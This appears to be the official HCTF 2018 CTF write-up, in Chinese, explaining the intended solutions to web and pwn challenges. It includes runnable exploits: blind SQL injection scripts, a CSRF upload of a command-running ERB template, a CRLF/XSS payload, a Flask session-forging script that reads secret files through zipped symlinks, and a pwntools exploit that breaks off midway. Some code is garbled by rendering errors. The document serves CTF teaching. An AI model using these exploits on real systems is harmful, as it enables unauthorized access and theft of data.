1. 程式人生 > >HCTF-2018-Official-Writeup

HCTF-2018-Official-Writeup

Web

Warmup

web簽到

首先開啟然後看F12啦,註釋裡提示是source.php,php審計,問題出在

$_page = urldecode($page);
$_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}

用%253f就可以繞過了,再結合hint.php裡的flag in ffffllllaaaagggg (抱歉。。似乎應該加個/的)

kzone

大二狗第一次出題,出的不夠嚴謹,導致了比較嚴重的非預期,不過看到非預期的姿勢也非常有趣,賽後調查資料又看到很多師傅表示很喜歡這道題目,我就覺得這道題目還是有意義的。

那麼先來說說我本身的出題思路吧!

首先,題目本身是基於我今年暑假遇到的一個QQ空間釣魚平臺的原始碼改造而來的,這個釣魚平臺本身的問題很多,這次題目就是利用了其中memeber.php 中存在的 cookie 注入點 。

來看看平臺本身的注入點:

$admin_user=base64_decode($_COOKIE['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if($udata['username']==''){
	setcookie("islogin"
, "", time() - 604800); setcookie("admin_user", "", time() - 604800); setcookie("admin_pass", "", time() - 604800); } $admin_pass=sha1($udata['password'].LOGIN_KEY); if($admin_pass==$_COOKIE["admin_pass"]){ $islogin=1; }else{ setcookie("islogin", "", time() - 604800); setcookie("admin_user", "", time() - 604800
); setcookie("admin_pass", "", time() - 604800); }

而在原本的程式碼基礎上,我將admin_useradmin_pass 的引入方式改為json_decode (後面會解釋原因),並且增加了一個全域性 WAF,對 $_GET $_POST $_COOKIE 分別進行了過濾

過濾的內容如下:

$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|and|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';

那麼如何繞過這個 WAF 呢?大多數師傅都是利用了 json 反序列化時,會將Unicode 解碼的特性,實現了完全繞過 WAF ,這裡其實是我過濾的不夠完善了。大家可以想一下,如果\ 也被過濾掉,還有沒有其他姿勢呢?

其實這個 WAF 造成最大的障礙就是過濾了 or 導致沒有辦法通過 information_schema 庫來查詢表名,然而其實MySQL 5.7 之後的版本,在其自帶的 mysql 庫中,新增了 innodb_table_statsinnodb_index_stats 這兩張日誌表。如果資料表的引擎是innodb ,則會在這兩張表中記錄表、鍵的資訊 。

而從 install.sql 中可以看出,網站使用的正是innodb 引擎

CREATE TABLE IF NOT EXISTS `fish_admin` (
  `id` tinyint(3) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(20) NOT NULL,
  `password` char(32) NOT NULL,
  `name` varchar(255) DEFAULT '',
  `qq` varchar(255) DEFAULT '',
  `per` int(11) NOT NULL DEFAULT '3',
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=innodb  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

因此我們使用 mysql.innodb_table_stats 來代替 information_schema.tables 即可獲取表名。於是現在我們需要思考如何判斷注入結果,sleepbenchmark 都已經被過濾了,只能考慮布林盲注(不考慮笛卡爾積…)。

那麼現在是時候來解釋一下為什麼我要把 base64_decode 換成 json_decode 了,這個思路其實是來自 微擎 之前一個版本的漏洞:

$session = json_decode(authcode($_GPC['__session']), true);
if (is_array($session)) {
	$user = user_single(array('uid'=>$session['uid']));
	if (is_array($user) && $session['hash'] == md5($user['password'] . $user['salt'])) {
		$_W['uid'] = $user['uid'];
		$_W['username'] = $user['username'];
		$user['currentvisit'] = $user['lastvisit'];
		$user['currentip'] = $user['lastip'];
		$user['lastvisit'] = $session['lastvisit'];
		$user['lastip'] = $session['lastip'];
		$_W['user'] = $user;
		$_W['isfounder'] = user_is_founder($_W['uid']);
		unset($founders);
	} else {
		isetcookie('__session', false, -100);
	}
	unset($user);
}
unset($session);

簡單來說,就是微擎 將用於驗證使用者身份的hash 值,使用了 json_encode 進行序列化並儲存在 cookie 裡面。而在驗證的時候,再用json_decode 反序列化後取出。但是需要注意的是,在將hash 值與資料庫中儲存的使用者密碼的md5 值進行比較的時候,使用的是弱比較,這就導致我們可以通過構造 json字串使hash值為數字,利用弱型別,繞過使用者身份驗證,實現任意使用者登入。

我在這裡套用了這個漏洞:

logindata=jsondecode(login_data = json_decode(_COOKIE[‘login_data’], true);
$admin_user = $login_data[‘admin_user’];
$udata = KaTeX parse error: Expected 'EOF', got '&' at position 4: DB-&̲gt;get_row(<spa…admin_user’ limit 1");
if ($udata[‘username’] == ‘’) {
setcookie(“islogin”, “”, time() - 604800);
setcookie(“login_data”, “”, time() - 604800);
}
adminpass=sha1(admin_pass = sha1(udata[‘password’] . LOGIN_KEY);
if ($admin_pass == $login_data[‘admin_pass’]) {
KaTeX parse error: Expected 'EOF', got '}' at position 47: …ber">1</span>; }̲ <span class="h…admin_user
構造條件語句,這樣就可以通過登入狀態來進行布林盲注了。

然而沒想到的兩點是:

  • 這恰恰引入了利用 json 反序列化 Unicode 繞過 WAF 的漏洞

  • 利用平臺本身的邏輯問題,就可以實現布林注入,具體位置就在上面的程式碼中:

    • 當查詢返回的使用者名稱為空且密碼錯誤時,進行四次setcookie 操作
    • 當查詢返回的使用者名稱為不為空時,進行兩次setcookie 操作

    利用這個差異,就已經可以實現布林盲注了。

  • 所以,這道題目對於我這個出題人來說,其實算是一個比較失敗的產物,好在題目本身還能夠讓一些選手收穫知識/樂趣,而且還是有一些隊伍是按照我的預期思路做出的這道題目的。而經歷48小時的蹂躪後,題目共有 33 只隊伍提交有效答案,最終分值為 361分, 也符合我的預期。

    未來的一年,我會努力學習更多姿勢、積累出題經驗,爭取在明年的 HCTF 上,給大家帶來更優質的題目。

    最後,附上我的預期解exp

    import requests
    
    url = 'http://kzone.2018.hctf.io/admin/'
    key = ''
    strings = [chr(i) for i in range(32, 127)]
    
    while True:
        for i in reversed(strings):
            if 'or' in key + i:
                continue
           #payload = "admin' and (select group_concat(table_name) from mysql.innodb_table_stats) between '%s' and '%s' and '1" % (key + i, chr(126))
            payload = "admin' and (select * from F1444g) between '%s' and '%s' and '1" % (key + i, chr(126))
           
            headers = {
                'cookie': 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' %
                          payload.replace(' ', '/**/').replace("\"", '\\"'),
            }
            #print(headers)
            r = requests.get(url, headers=headers)
            #print(r.text)
            if 'Management Index' in r.text:
                key += i
                break
            else:
                print(i)
        print(key)
    

    Share

    step1:


    class FileController < ApplicationController
    before_action :authenticate_user!
    before_action :authenticate_role
    before_action :authenticate_admin
    protect_from_forgery :except => [:upload , :share_people_test]
    # post /file/upload
      def upload
        if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
          file = params[:file][:myfile]
          name = Base64.decode64(file.original_filename)
          ext = name.split('.')[-1]
          if ext == name || ext ==nil
            ext=""
          end
          share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
          share.write(Base64.decode64(file.read))
          share.close
          File.rename(share.path,share.path+"."+ext)
          tmp = Sharefile.new
          tmp.public = 0
          tmp.path = share.path
          tmp.name = name
          tmp.tempname= share.path.split('/')[-1]+"."+ext
          tmp.context = params[:file][:context]
          tmp.save
        end
        redirect_to root_path
      end
    
    # post /file/Alpha_test
      def Alpha_test
        if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
          fid = params[:fid].to_i
          uid = params[:uid].to_i
          if(fid > 0 && uid > 0)
            if(Sharelist.find_by(sharefile_id: fid)==nil)
                share = Sharelist.new
                share.sharefile_id = fid
                share.user_id = uid
                share.save
            end
          end
        end
        redirect_to(root_path)
      end
    
      def share_file_to_all
        file = Sharefile.find(params[:fid])
        File.rename(file.path,Rails.root+"/public/download/"+file.name)
        file.public = true
        file.path = Rails.root+"/public/download/"+file.name
        file.save
      end
    
    end
    

    接著在程式碼中我們可以獲取到

      before_action :authenticate_user!
    before_action :authenticate_role
    before_action :authenticate_admin
    protect_from_forgery :except => [:upload , :share_people_test]

    這個controller的所有function都需要admin許可權,且uploadshare_people_tet是沒有csrf token認證的。

    step2:

    在 中存在一個提交表單,提交一段xss可以看到xss會被執行,但cookie開啟了httponly。所以我們可以進行csrf upload來上傳檔案,之後再通過csrf獲取上傳後的檔名。

    payload 如下:

    <!-- csrf upload payload -->
    <script>
    function submitRequest()
    {
    var xhr = new XMLHttpRequest();
    xhr.open(“POST”, , true);
    xhr.setRequestHeader(“Accept”, “text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8”);
    xhr.setRequestHeader(“Accept-Language”, “de-de,de;q=0.8,en-us;q=0.5,en;q=0.3”);
    xhr.setRequestHeader(“Content-Type”, “multipart/form-data; boundary=----WebKitFormBoundarysWrrwCoy7FeMquna”);
    xhr.withCredentials = “true”;
    var body = “------WebKitFormBoundarysWrrwCoy7FeMquna\r\n” +
    “Content-Disposition: form-data; name=“file[context]”\r\n” +
    “\r\n” +
    “aaaa” +
    “\r\n” +
    “------WebKitFormBoundarysWrrwCoy7FeMquna\r\n” +
    “Content-Disposition: form-data; name=“file[myfile]”; filename=“Li4vLi4vYXBwL3ZpZXdzL2hvbWUvY3NyZi5lcmI=”\r\n” +
    “Content-Type: application/octet-stream\r\n” +
    “\r\n” +
    “PCU9IGBscyAuLi8uLi9gICU+\r\n” +
    “------WebKitFormBoundarysWrrwCoy7FeMquna\r\n” +
    “Content-Disposition: form-data; name=“commit”\r\n” +
    “\r\n” +
    “submit \r\n” +
    “------WebKitFormBoundarysWrrwCoy7FeMquna–\r\n”;
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
    }
    submitRequest();
    </script>
    <!-- csrf post payload -->
    <form action="http://share.2018.hctf.io/file/Alpha_test" id="test" method="POST">
            <input type="text" name="uid"><br>
            <input type="text" name="fid">
            
        </form>
    </body>
    <script>
        var f=document.getElementById("test");
        f.getElementsByTagName("input")[0].value="2";
        f.getElementsByTagName("input")[1].value="3";
        f.submit();
    </script>
    

    step3:

    hint 1和hint2分別給出了views的目錄結構和index.html.erb中的一段區域性渲染程式碼。

    hint1:
    views
    |-- devise
    | |-- confirmations
    | |-- mailer
    | |-- passwords
    | |-- registrations
    | | -- new.html.erb | |-- sessions | |– new.html.erb
    | |-- shared
    | -- unlocks |-- file |-- home | |-- Alphatest.erb | |-- addtest.erb | |-- home.erb | |-- index.html.erb | |-- publiclist.erb | |-- share.erb |– upload.erb
    |-- layouts
    | |-- application.html.erb
    | |-- mailer.html.erb
    | -- mailer.text.erb– recommend
    `-- show.erb
    hint2:
    <%= render template: “home/”+params[:page] %>

    從hint2可以明確(看到hint1其實可以猜測)的知道需要跨目錄上傳檔案到app/views/home下,在ruby的官網也能看到

    CVE-2018-6914: Unintentional file and directory creation with directory traversal in tempfile and tmpdir 且在upload中同樣使用到了tempfile,嘗試使用該漏洞進行跨目錄上傳惡意檔案。

    ps: 這一題出的時間比較趕,沒有思考好場景怎麼造比較好,所以這道題存在被偷雞的方式,且中途由於bot沒寫好容易掛的原因給各位師傅造成不便,有點抱歉。最後謝謝做我題目的師傅,都是好人吶QAQ

    admin

    這題本來的思路是希望大家瞭解下Unicode的安全問題

    然後因為出題人的安全疏忽,產生了很多非預期

    預期解法

    這個是spotify的一個漏洞



    就是照著這個的邏輯寫了一份程式碼

    按這個做題就好了

    有個隊的玄學解題,我猜是條件競爭的問題

    hide_and_seek

    step1:

  • 訪問 http://hideandseek.2018.hctf.io/ 提示要登入,隨便試幾個登入,發現只有admin不能登入,然後登入成功後發現名為session的cookie中有一段疑似base64,嘗試decode,發現是類似{“username”:“123”}的資訊,如果手動構造base64部分的資訊為{“username”:“admin”}就會失去登入狀態(有經驗的師傅可以猜到使用的是securecookie機制,如果能夠得到簽名的key和簽名方法等相關資訊就能想辦法偽造session) 如果不知道也沒有關係,思路是一樣的,先想辦法得到原始碼。
  • step2:

    • 登入成功後發現有一個上傳點,經過測試只能上傳zip檔案,上傳之後回返回zip解壓後的檔案內容。嘗試壓縮一個軟連結檔案並上傳,連結指向/etc/passwd,發現有回顯相應的檔案內容。這樣就得到了一個任意檔案下載

    step3:

    • 接下來是想辦法獲得原始碼路徑。
    • 思路1:一波猜測啥也沒有,結合題目名稱hide and seek,這裡應該是一個點。然後這裡linux中有一個思想是一切皆檔案,瞭解到linux下,/proc/路徑下儲存程序相關資訊,https://www.cnblogs.com/DswCnblog/p/5780389.html ,然後嘗試過後在 /proc/self/environ (self可以換成其他pid號)環境變數中可以找到配置檔案路徑和一些資訊
    UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
    SUPERVISOR_GROUP_NAME=uwsgi
    HOSTNAME=ff4d6ee39413
    SHLVL=0
    PYTHON_PIP_VERSION=18.1
    HOME=/root
    GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
    UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
    NGINX_MAX_UPLOAD=0
    UWSGI_PROCESSES=16
    STATIC_URL=/static
    UWSGI_CHEAPER=2
    NGINX_VERSION=1.13.12-1~stretch
    PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    NJS_VERSION=1.13.12.0.2.0-1~stretch
    LANG=C.UTF-8
    SUPERVISOR_ENABLED=1
    PYTHON_VERSION=3.6.6
    NGINX_WORKER_PROCESSES=auto
    SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
    SUPERVISOR_PROCESS_NAME=uwsgi
    LISTEN_PORT=80
    STATIC_INDEX=0
    PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
    STATIC_PATH=/app/static
    PYTHONPATH=/app
    UWSGI_RELOADS=0
    
    • 思路2:一波猜測還真的就可以猜出點東西,從之前的cookie可以猜測是flask,然後猜測路徑為/app/main.py,得到如下
    from flask import Flask
    app = Flask(__name__)
    
    
    @app.route("/")
    def hello():
        return "Hello World from Flask in a uWSGI Nginx Docker container with \
         Python 3.6 (default)"
    
    if __name__ == "__main__":
        app.run(host='0.0.0.0', debug=True, port=80)
    
  • docker一搜就出來了,然後就可以自己搭環境,配置docker然後試試看有那些地方可能有用資訊了,然後回到思路1

  • 關於hint1:docker 。

    1. 因為docker基本都是linux,而linux就有上述檔案特性,對應思路1。
    2. 另外提示環境是在docker中的,那麼結合之前猜測的flask,或者結合自己讀到的一些其他資訊,比如/app/uwsgi.ini或者/proc/pid/cmdline(有好多選手都讀到了這個檔案,但是沒有繼續深挖其他資訊,比如/proc/10/cmdline就有uwsgi.ini)然後可以搜尋docker image,搜尋flask或者uwsgi第一個都是tiangolo/uwsgi-nginx-flask,下載下來部署會發現裡面預設有/app/main.py ,這個時候可以嘗試驗證一下題目環境中有沒有這個檔案,如果有,那大致就確定了docker環境,對應思路2
    • 關於hint2:only few things running on it。主要有一些選手從/proc/1/cmdline一直掃到/proc/9999/cmdline都不死心…所以放出這個hint

    • 發現配置檔案路徑後,再讀配置檔案 /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini

    [uwsgi]
    module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
    callable=app
    
    • 這樣就找到了原始碼路徑/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
    # -*- coding: utf-8 -*-
    from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
    import uuid
    import base64
    import random
    import flag
    from werkzeug.utils import secure_filename
    import os
    random.seed(uuid.getnode())
    app = Flask(__name__)
    app.config['SECRET_KEY'] = str(random.random()*100)
    app.config['UPLOAD_FOLDER'] = './uploads'
    app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
    ALLOWED_EXTENSIONS = set(['zip'])
    
    def allowed_file(filename):
        return '.' in filename and \
               filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
    
    
    @app.route('/', methods=['GET'])
    def index():
        error = request.args.get('error', '')
        if(error == '1'):
            session.pop('username', None)
            return render_template('index.html', forbidden=1)
    
        if 'username' in session:
            return render_template('index.html', user=session['username'], flag=flag.flag)
        else:
            return render_template('index.html')
    
    
    @app.route('/login', methods=['POST'])
    def login():
        username=request.form['username']
        password=request.form['password']
        if request.method == 'POST' and username != '' and password != '':
            if(username == 'admin'):
                return redirect(url_for('index',error=1))
            session['username'] = username
        return redirect(url_for('index'))
    
    
    @app.route('/logout', methods=['GET'])
    def logout():
        session.pop('username', None)
        return redirect(url_for('index'))
    
    @app.route('/upload', methods=['POST'])
    def upload_file():
        if 'the_file' not in request.files:
            return redirect(url_for('index'))
        file = request.files['the_file']
        if file.filename == '':
            return redirect(url_for('index'))
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            if(os.path.exists(file_save_path)):
                return 'This file already exists'
            file.save(file_save_path)
        else:
            return 'This file is not a zipfile'
    
    
        try:
            extract_path = file_save_path + '_'
            os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
            read_obj = os.popen('cat ' + extract_path + '/*')
            file = read_obj.read()
            read_obj.close()
            os.system('rm -rf ' + extract_path)
        except Exception as e:
            file = None
    
        os.remove(file_save_path)
        if(file != None):
            if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
                return redirect(url_for('index', error=1))
        return Response(file)
    
    
    if __name__ == '__main__':
        #app.run(debug=True)
        app.run(host='127.0.0.1', debug=True, port=10008)
    
    • 然後還有模板中關鍵程式碼,模板位置/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html
    {% if user == 'admin' %}
            Your flag: <br>
            {{ flag  }}
    
    • 做到這裡,讀一下原始碼基本都有底了,從原始碼中我們知道直接讀flag是不可行的,必須要讓自己成為admin才能獲得flag

    step4:

    • 這裡通過原始碼確定是flask的預設的securecookie機制,接下來目標就是偽造admin的session了,這裡session內容由base64+簽名組成,所以可以通過獲得key來偽造簽名,注意到
    random.seed(uuid.getnode())
    app = Flask(__name__)
    app.config['SECRET_KEY'] = str(random.random()*100)
    app.config['UPLOAD_FOLDER'] = './uploads'
    app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
    
    • 需要注意到前面獲得的配置資訊中寫了python3.6
      uuid.getnode()獲得10進位制mac地址,同樣利用linux檔案特性,最後可以在/sys/class/net/eth0/address 獲得這個mac
    • 然後是一個偽隨機,可以模擬。最終得到SECRET_KEY。
    • 之後可以自己搭個簡單的flask環境來獲得session值,帶著這個session訪問即獲得flag

    下面附上exp

    #!/usr/bin/env python3
    # coding=utf-8
    import requests
    import random
    import re
    import os
    from flask import Flask
    from flask.sessions import SecureCookieSessionInterface
    
    def read_file(file_name):
        link(file_name)
        files = {'the_file': open(file_name[-5:] + '.zip', 'rb')}
        r2 = s.post(url+'upload', files=files)
        return r2.text
    
    def link(file_name):
        os.system('ln -s {file_name} {output}'.format(file_name = file_name, output = file_name[-5:]))
        os.system('zip -y -m {output}.zip {output}'.format(file_name = file_name, output = file_name[-5:]))
    
    
    url = 'http://hideandseek.2018.hctf.io/'
    with requests.Session() as s:
        user_data = {'username': '123', 'password': '123456789'}
        r = s.post(url+'login', data=user_data)
        en = read_file('/proc/self/environ')
        print(en)
        ini = re.search('UWSGI_INI=(.*?)\x00', en).group(1)
        pwd = re.search('PWD=(.*?)\x00', en).group(1)
        print(ini)
        print(pwd)
        ini = read_file(ini)
        print(ini)
        source = re.search('module = .*?\.(.*?)\n', ini).group(1)
        source = pwd+'/'+source+'.py'
        source = read_file(source)
        print(source)
        if(source.find('import') == -1):
            exit('fail')
        mac = '/sys/class/net/eth0/address'
        mac = read_file(mac)
        mac = mac[:-1]
        mac = ''.join(mac.split(':'))
        mac = int(mac, 16)
        print(mac)
        random.seed(mac)
        key = random.random()*100
        print(key)
    
    app = Flask(__name__)
    app.config['SECRET_KEY'] = str(key)
    payload = {'username': 'admin'}
    serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    session = serializer.dumps(payload)
    print(session)
    cookies = {'session': session}
    r = requests.get(url, cookies=cookies)
    print(r.text)
    

    Bottle

    hint1 */3 */10
    hint2 firefox

    payload

    http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%0a%0d%0a%0d<script>alert `1` </script>`
    

    一個CLRF頭注入,當埠小與80時猜測firefox不會跳轉
    利用這個特性使其載入js達到xss

    繞csp

    hint1 : */3 */10
    這是伺服器重啟的兩個時間
    bottle每次重啟時響應頭順序可能會隨機變化
    人為干預了下這變化
    */3 為csp在上面location在下面的服務重啟時間
    */10 為csp在下面location在上面的服務重啟時間
    需要在指定時間內上傳payload才能拿flag

    環境

    game

    這個漏洞是屬於一個邏輯漏洞,但是他的資料獲取過程非常像sql注入時的布林盲注,所以我取了個描述為crazy inject。整個題目就分為登入,註冊,遊戲(獲得分數)以及排行榜功能。今年因為一些事情導致出題比較匆忙,思路是藏了很久的思路。
    漏洞是從實際網站測試過程中發現的,部分網站在一些排名列表處只做了sql注入防禦,而沒有控制order by 後面實際的內容。排行榜本身模擬的id,username,sex,score是正常開發者想使用的欄位,但是攻擊者可以使用password欄位進行排序,通過不斷構造資料不一樣的賬號通過排列順序盲注出指定賬號的資料。
    做出來的隊伍基本上都是我的預期解,下面是一位優秀選手的poc,思路一致。

    #encoding:utf-8
    import requests
    import string
    import base64
    import random
    def catch(num,str1):
        a=0
        b=97
        while(a<=b):
            mid=(a+b)/2
            tmp =hex(mid)[2:]
            if len(tmp)==1:
                tmp="0"+tmp
            str2=str1+"%"+tmp
            print str2
            usernew = ''.join(random.sample(string.ascii_letters + string.digits, 13))
            url="http://game.2018.hctf.io/web2/action.php?action=reg"
            data = 'username=%s&password=%s&sex=1&submit=submit' %  (usernew,str2)
            headers={"Content-Type": "application/x-www-form-urlencoded"}
            #data={"username":"admin'&&mid(password,%d,1)='%s'#" % (num,str),"password":"1"} 
            #strings="aaaaaaaa' or mid(username,1,1)='a' and '1"
            #print url
            #正常用法
            r=requests.post(url,data=data,headers=headers)
            #print r.content
            #用於burp除錯
            #r=requests.get(url,headers=header,proxies={"http":"127.0.0.1:8080"})
            #print r.content
            sss = requests.get('http://game.2018.hctf.io/web2/user.php?order=password',headers={"Cookie":"PHPSESSID=p9op1amllrobs6okqfkih2vr40"}).content
            index1= sss.index('<tr>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t1\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\tadmin')
            print usernew
            index2=sss.index(usernew)
            print index1
            print index2
            if index1 > index2:
                b =  mid -1
            else:
                a = mid +1
        tmp =hex(a-1)[2:]
        if len(tmp)==1:
            tmp="0"+tmp
        return "%"+tmp
        #print "##################################"
        # found=False
    if __name__ == "__main__":
        #payloads = list(string.ascii_lowercase)
        #payloads.append("_;")
        payloads='!"#$%&\'()*+,-./:;<=>[email protected][\\]^_`{|}~'
        #payloads = list('sysadmin:0123456789_abcdefghijklmnopqrstuvwxyz ,ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
        user='%44%53%41%38%26%26%21%40%23%24%25'
        for i in range(1,100):
            user = user+catch(i,user)
            print "now user is "+user
        #catch(5,"dsa8<")
    

    註冊好多號不斷的逼近admin的密碼,登入後訪問flag.php【user.php裡有提示】,拿到flag。

    Pwn

    the end

    這題本意是作為簽到題,看下來效果也的確不錯。

    程式給你5次任意地址寫1byte的機會,然後馬上exit。那麼問題很明顯,肯定是要懟exit了。

    因為程式是FULL RELRO的,所以打linkmap的方法就無法生效了(hack.lu ctf slot_machine)

    仔細跟蹤exit,能夠控制程式流的地方有兩處,一處是tls,一處是IO_FILE。

    tls處5bytes大概是搞不定了,所以我們可以看一下IO_FILE。

    在IO_FILE的呼叫中,用到了stdout的vtable。由於題目使用了2.23的libc,因此我先用2byte改vtable到libc got表附近,讓call vtable[idx]正好跳到realloc.got,我們用剩下的3byte改realloc_hook中的初始值到one_gadget,就能getshell。

    由於close了stdout和stderr,其實我們可以cat flag 1>&0。stdin也是可以用來輸出的。

    heapstorm zero

    只有3解比較意外,我本意是作為中等題的。

    這題來源於我對null off by one的思考,理論上來說,null off by one 打在fastbin上是不可能被利用的,因為size位直接變成了0。那如何讓選手在只能分配fastbin的同時利用null off by one呢?

    只能藏一個比較不明顯的分配大堆塊的行為了。這個行為由scanf來做到。雖然我setvbuf了,輸入超長字串的時候scanf還是會在堆上分配buffer來暫存我們的輸入。最小分配size也是0x400,也就是一個large chunk了。這樣我們就有了觸發malloc consolidate的能力,將多個fastbin融合成一個unsorted bin,然後利用null off by one,就能在堆上搞事了。

    接下來就是overlap heap等一系列冗長的利用,因為使用了calloc,構造起來還是比較複雜的,這裡就不細說了。

    之後我是leak了libc,造出了fastbin dup,然後利用fd在main arena上留一個size,然後fastbin attack打過去,利用這個堆塊就可以在main arena的fastbin list上寫東西,部分控制fastbin list以後我們可以最終改到top chunk指標,指到malloc hook前,然後改malloc hook到onegadget,通過再次malloc成功get shell。

    當然我也看到了其他選手的流量,有選手是通過orange做的,當然也是可以的。

    christmas

    這題出了一點點的小意外,我本來是當作pwn壓軸出的,因為我當時想搜amd64的alphanumeric shellcode encoder,並沒有看到alpha3這個神器,所以打算將編寫encoder作為題目的一部分(然而選手都比我聰明,找到了現成的encoder,因此題目難度大幅降低 orz orz orz。

    any way,還是說一下我的思路。

    先不說shellcode上的限制。選手需要在只能用exit或loop做盲測的情況下找到一個未知的lib中的一個函式的位置,呼叫它,並測出flag。

    找lib的方法大致有兩種。

    1.可以在got上摸到linkmap地址(因為沒有pie和full relro),利用linkmap上的l_next我們可以一個個linkmap摸過去,直到找到libflag的。得到基地址後我們可以通過header上的資訊得到strtab和symtab的位置,然後通過字串比較手動解析flag_yes_1337函式的位置。(我和其他隊伍做法)

    2.因為程式沒有pie,我們可以在got等地方get libc的地址,通過偏移算出libc_dlsym,然後呼叫這個函式解析flag_yes_1337所在位置。(Nu1L)

    之後,呼叫flag_yes_1337,flag字串來到rax,然後盲測每一bit得到flag。

    現在問題就來到了如何將我們shellcode encode成alphanumeric 。

    方法還是有兩種:

    1.在網上找到alpha3 encoder,魔改後直接使用。(所有隊伍做法)

    2.自己寫一個encoder。

    得知他們都是用alpha3以後,我也去讀了一下alpha3的做法。通過比較我也發現我的encoder還是離大佬寫的差了很多。

    不過出於學習,我也在此介紹一下我寫encoder的思路。

    encode無非是xor,或一層,直接用解密真實shellcode;或兩層,先解密一個精緻的encoder,這個encoder再去解密真實的shellcode。

    我採用了一層的做法,這樣做的缺點就是encode後shellcode長度會膨脹很厲害。

    如何xor指定offset的一個byte??

    xor [rax+rdi],dl
    xor [rax+rdi],dh
    xor [rax+rdi+0x32],dl
    xor [rax+rdi+0x32],dh
    

    這些都是比較好的gadget。那問題就到了如何設定rdi上。

    push XXX
    push rsp
    pop rcx
    imul edi,[rcx],YYY
    

    因為imul的物件是edi,因此可以將最高位溢位,得到一個幾乎任意的edi值,但是XXX和YYY除都必須是alphanumeric,這個問題不大,我做了打表處理。

    舉個例子,我們要xor idx為80處的byte,可以通過一下程式碼實現。

    push 1431655766
    push rsp
    pop rcx
    imul edi,[rcx],48
    xor [rax+rdi+48],dl
    

    idx的問題解決了,就是怎麼合理設定dl或dh的值讓所有byte xor或不xor後,結果都落在alphanumeric範圍中。

    我用指令碼跑了一下,[0x80,0xff] 的字元最少需要4個不同的值才能全部xor到alphanumeric,而[0x00,0x7f]只需要3個不同的值。

    比如我們取 0x30,0x59,0x55來xor [0x00,0x7f] ,取0x80,0xc0,0x88,0xc8來xor [0x80,0xff],分別放到dh和dl,就有了下面4個int,這幾個值都能通過上面設定idx的方法得到。

    r8  : 0x3080
    r9  : 0x59c0
    r10 : 0x5988
    rdx : 0x55c8
    

    這樣無論遇到什麼byte,我們都能通過這個方法xor了 。 nice~

    baby printf ver2

    本意是想讓選手繞printf_chk,但沒限制好(orz

    思路大概和phrack的文章差不多,在printf的時候覆蓋file結構的flag2,只不過他用的是printf自身的洞,這邊用stdout的快取去覆蓋

    exp 用printf_chk leak + 改vtable,可能麻煩了點。

    有師傅用%a來leak,很強(這是真沒想到,這樣理論上不需要code段地址

    最後控制rip使用 printf觸發malloc 也是比較簡單的方法

    exp

    from pwn import *
    context.log_level='debug'
    p=process('./babyprintf')
    p.recvuntil('location to ')
    binary=p.recvuntil('\n')[:-1]
    
    buff=int(binary,16)
    data=buff-0x10
    success('data {}'.format(hex(data)))
    p.recvuntil('!\n')
    stdout_offset=buff+0x100
    fake_stdout=p64(0xfbad2284|0x8000)
    fake_stdout+=p64(stdout_offset+116)*3
    fake_stdout+=p64(stdout_offset+116)*2
    fake_stdout+=p64(stdout_offset+116+6)
    fake_stdout=fake_stdout.ljust(112,'\x00')
    fake_stdout+=p32(1)
    fake_stdout=fake_stdout.ljust(0xd0,'\x00')
    fake_stdout+=p64(buff);
    
    fmt_s="xxxx%72$p"
    
    poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
    poc1=poc1.ljust(0x100,'\x00')
    poc1+=fake_stdout
    p.sendline(poc1)
    p.recvuntil('\n')
    libc_addr=int('0x'+p.recv(12),16)-0x21b97
    success('libc {}'.format(hex(libc_addr)))
    
    fmt_s="xxxx%74$p"
    
    poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
    poc1=poc1.ljust(0x100,'\x00')
    poc1+=fake_stdout
    p.sendline(poc1)
    p.recvuntil('\n')
    stack_addr=int('0x'+p.recv(12),16)
    success('stack {}'.format(hex(stack_addr)))
    
    
    io_check=0x8A150
    sh=libc_addr+0x1B3E9A
    system=libc_addr+0x4f440
    def write_to(addr,val):
        fmt_s=val
        fake_stdout=p64(0xfbad2284|0x8000)
        fake_stdout+=p64(addr)*5
